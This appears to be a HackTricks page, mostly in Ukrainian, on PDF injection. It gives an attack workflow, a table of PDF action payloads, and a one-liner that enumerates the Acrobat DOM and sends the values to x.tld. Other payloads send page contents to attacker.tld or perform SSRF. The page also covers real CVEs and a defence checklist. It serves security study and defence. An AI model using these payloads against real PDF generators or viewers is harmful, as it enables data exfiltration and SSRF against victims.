Ін’єкція PDF
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Якщо ваш ввод відображається всередині PDF-файлу, ви можете спробувати ввести PDF-дані, щоб виконати JavaScript, здійснити SSRF або викрасти вміст PDF. Синтаксис PDF дуже лояльний — якщо ви зможете вийти з рядка або словника, який вкладає ваш ввід, ви можете додати повністю нові об’єкти (або нові ключі в тому ж об’єкті), які Acrobat/Chrome охоче розберуть. З 2024 року хвиля звітів у bug-bounty показала, що достатньо однієї неекранованої дужки або зворотного слеша для повного виконання скрипта.
TL;DR – Сучасний робочий процес атаки (2024-2026)
- Знайдіть будь-яке кероване користувачем значення, яке опиняється всередині (parenthesis string),
/URI ( … )або поля/JS ( … )у згенерованому PDF. - Впровадьте
)(закриваючи рядок), потім один із приведених нижче примітивів і завершите іншим відкриваючим дужком, щоб синтаксис залишився валідним. - Доставте шкідливий PDF жертві (або на бекенд-сервіс, який автоматично рендерить файл — чудово підходить для blind bugs).
- Ваш payload виконується у PDF viewer:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (see CVE-2024-4367)
- Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with
this.getPageNthWord)
Example (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Перший ) закриває оригінальний URI-рядок, потім ми додаємо новий словник Action, який Acrobat виконає, коли користувач клацне по посиланню.
Корисні примітиви ін’єкції
| Мета | Payload Snippet | Примітки |
|---|---|---|
| JavaScript on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Виконується негайно при відкритті документа (працює в Acrobat, не в Chrome). |
| JavaScript on link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Працює в PDFium & Acrobat якщо ви контролюєте анотацію /Link. |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Комбінуйте з this.getPageNthWord у JS, щоб вкрасти вміст. |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | Те ж саме, але ціль — внутрішній URL — корисно, коли PDF рендериться бек-офісними сервісами, які підтримують /URI. |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | Прикріплюється до словника Page/Annotation/Form, щоб запуститись при відкритті/фокусі. |
| Line Break for new objects | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Якщо бібліотека дозволяє інжектити символи нового рядка, ви можете створити зовсім нові об’єкти. |
Embedded Actions as Injection Targets
PDF viewers treat embedded actions such as /OpenAction and /AA (Additional Actions) as first-class features that can run when a document opens or when a specific event fires. If you can inject into any dictionary that accepts actions (Catalog, Page, Annotation, or Form field), you can graft an /AA tree and trigger JavaScript on open/focus.
Example payload for generator-side object injection (close the original string/dictionary and inject /AA):
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
This pattern matches recent jsPDF issues where attacker-controlled input passed into addJS (or certain AcroForm fields) breaks out of the intended JavaScript string and injects an Additional Action dictionary.
Blind Enumeration Trick
Gareth Heyes (PortSwigger) оприлюднив однорядковий скрипт, який перераховує кожен об’єкт у невідомому документі – корисно, коли ви не можете побачити згенерований PDF:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Код ітерує Acrobat DOM і робить зовнішні запити для кожної пари властивість/значення, даючи вам JSON-ish дамп файлу. Див. white-paper “Portable Data exFiltration” для повної техніки.
Реальні уразливості (2023–2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: attacker-controlled strings can close the JS literal and inject/AA→/O→/JavaScriptactions that fire on open/focus. - CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js prior to 4.2.67 bypassed the sandbox with a crafted
/JavaScriptaction. - Bug bounty 2024-05 – Major fintech allowed customer-supplied invoice notes that landed in
/URI; report paid $10k after demonstrated SSRF to internal metadata host usingfile:///URI. - CVE-2023-26155 –
node-qpdfcommand-injection via unsanitised PDF path shows the importance of escaping backslashes and parentheses even before the PDF layer.
Чекліст захисту
- Ніколи не конкатенуйте необроблені user input всередині
(…)рядків або імен. Екраніруйте\,(,)відповідно до §7.3 PDF spec або використовуйте hex-рядки<...>. - Якщо ви будуєте посилання, віддавайте перевагу
/URI (https://…), які ви повністю URL-енкодите; блокувати схемиjavascript:на клієнтських переглядачах. - Обрізайте або валідуйте словники
/OpenAction,/AA(additional actions),/Launch,/SubmitFormта/ImportDataпри пост-обробці PDF. - На сервері рендеріть неперевірені PDF за допомогою headless converter (наприклад qpdf –decrypt –linearize), який видаляє JavaScript та зовнішні дії.
- Тримайте PDF viewers в актуальному стані; PDF.js < 4.2.67 та Acrobat Reader до виправлень липня 2024 дозволяють тривіальне виконання коду.
- Якщо ви використовуєте client-side генератори (наприклад jsPDF), ніколи не передавайте неперевірений вхід у
addJSабо AcroForm сеттери, що опиняються всередині PDF action словників.
Джерела
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (Feb 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (Sep 2025) – embedded actions like OpenAction/AA. https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


